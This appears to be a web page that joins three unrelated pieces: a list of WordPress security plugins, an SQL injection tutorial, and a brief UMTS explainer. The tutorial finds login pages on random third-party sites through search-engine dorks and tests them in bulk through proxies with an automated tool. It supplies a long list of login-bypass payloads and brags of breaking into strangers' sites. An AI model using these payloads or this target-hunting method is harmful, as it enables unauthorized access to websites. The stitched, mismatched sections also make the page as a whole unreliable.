Tips Secure WordPress

The following are the plugins I found that can make WordPress more secure.

1. Limit Login Attempts : This plugin blocks a user for 20 minutes after he enters wrong password 4 times (default values, can be changed). It is good way to avoid Brute Force attack .

2. Sabre :If you own a WordPress powered blog where users can register freely and see a lot of fake registrations, this plugin can stop fake user registration by bots. It can add image verification or math test to registration process among other measures to make sure fake users are not created

3. Semisecure Login : This plugin increases the security of login process by using a public key to encrypt the password on client side. The server side then decrypts the password using the private key. Requires Javascript and PHP.

4. Bad Behavior : It checks the visitor’s IP against Project Honey Pot Database to see if it’s a spammer’s. If malicious, it can block that IP from accessing your blog.

5. Secure WordPress : This plugin keeps your WordPress installation secure with the help of little functions. It hides information regarding your WordPress version from non-administrators and plugin directory from visitors by dropping a blank index.php file.

SQL Injection

One of the major problems with SQL is its poor security issues surrounding is the login and url strings.
this tutorial is not going to go into detail on why these string work as am not a coder i just know what i know and it works

SEARCH:

admin\login.asp
login.asp

with these two search string you will have plenty of targets to chose from…finding one thats vulnerable is another question
WHAT I DO :

first let me go into details on how i go about my research

i have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs…legally cool…provided by my good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org “thanks mate” .. gives me a chance to concentrate on what am doing and not be looking over my shoulder

INJECTION STRINGS:HOW ?

this is the easiest part…very simple

on the login page just enter something like

user:admin (you dont even have to put this.)
pass:’ or 1=1–

or

user:’ or 1=1–
admin:’ or 1=1–

some sites will have just a password so

password:’ or 1=1–

infact i have compiled a combo list with strings like this to use on my chosen targets ….there are plenty of strings about , the list below is a sample of the most common used

there are many other strings involving for instance UNION table access via reading the error pages table structure
thus an attack with this method will reveal eventually admin U\P paths…but thats another paper

the one am interested in are quick access to targets
PROGRAM

i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit
of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes
how long would it take to go thought 40 sites cutting and pasting each string ??

combo example:

admin:’ or a=a–
admin:’ or 1=1–

and so on…it dont have to be admin can be anything you want… the most important part is example:’ or 1=1– this is our injection
string

now the only trudge part is finding targets to exploit…so i tend to search say google for login.asp or whatever

inurl:login.asp
index of:/admin/login.asp

like this: index of login.asp

result:

http://www3.google.com/search?hl=en&ie=ISO…G=Google+Search

17,000 possible targets trying various searches spews out plent more
now using proxys set in my browser i then click through interesting targets…seeing whats what on the site pages if interesting
i then cut and paste url as a possible target…after an hour or so you have a list of sites of potential targets like so

http://www.somesite.com/login.asp
http://www.another.com/admin/login.asp

and so on…in a couple of hours you can build up quite a list…reason i dont sellect all results or spider for login pages is
i want to keep the noise level low…my ISP.. well enough said…plus atm am on dial-up so to slow for me

i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list…start..now i dont want to go into
problems with users using Ares..thing is i know it works for me…

sit back and wait…any target vulnerable with show up in the hits box…now when it finds a target it will spew all the strings on that site as vulnerable…you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site …really i need a program that will return the hit with a click on url and ignore false outputs

am still looking….thing is it saves quite a bit of time going to each site and each string to find its not exploitable.

there you go you should have access to your vulnerable target by now

another thing you can use the strings in the urls were user=? edit the url to the = part and paste ‘ or 1=1– so it becomes

user=’ or 1=1– just as quick as login process
(Variations)

admin’–

‘ or 0=0 —

” or 0=0 —

or 0=0 —

‘ or 0=0 #

” or 0=0 #

or 0=0 #

‘ or ‘x’=’x

” or “x”=”x

‘) or (‘x’=’x

‘ or 1=1–

” or 1=1–

or 1=1–

‘ or a=a–

” or “a”=”a

‘) or (‘a’=’a

“) or (“a”=”a

hi” or “a”=”a

hi” or 1=1 —

hi’ or 1=1 —

hi’ or ‘a’=’a

hi’) or (‘a’=’a

hi”) or (“a”=”a

happy hunting

ComSec aka ZSL

http://comsec.governmentsecurity.org

UMTS.The.Fundamentals

UMTS (Universal Mobile Telecommunication System) is the third generation telecommunications system based on WCDMA. WCDMA (Wideband Code Division Multiple Access) is the radio interface for UMTS. WCDMA is characterised by use of a wider band than CDMA. It has additional advantages of high transfer rate, and increased system capacity and communication quality by statistical multiplexing, etc. WCDMA efficiently utilises the radio spectrum to provide a maximum data rate of 2 Mbit/s.
UMTS (Universal Mobile Telecommunication System) will offer a consistent set of services to mobile computer and phone users no matter where they are located in the world. Based on the GSM (Global System for Mobile communication) communication standard, UMTS, endorsed by major standards bodies and manufacturers, is the planned standard for mobile users around the world by 2002.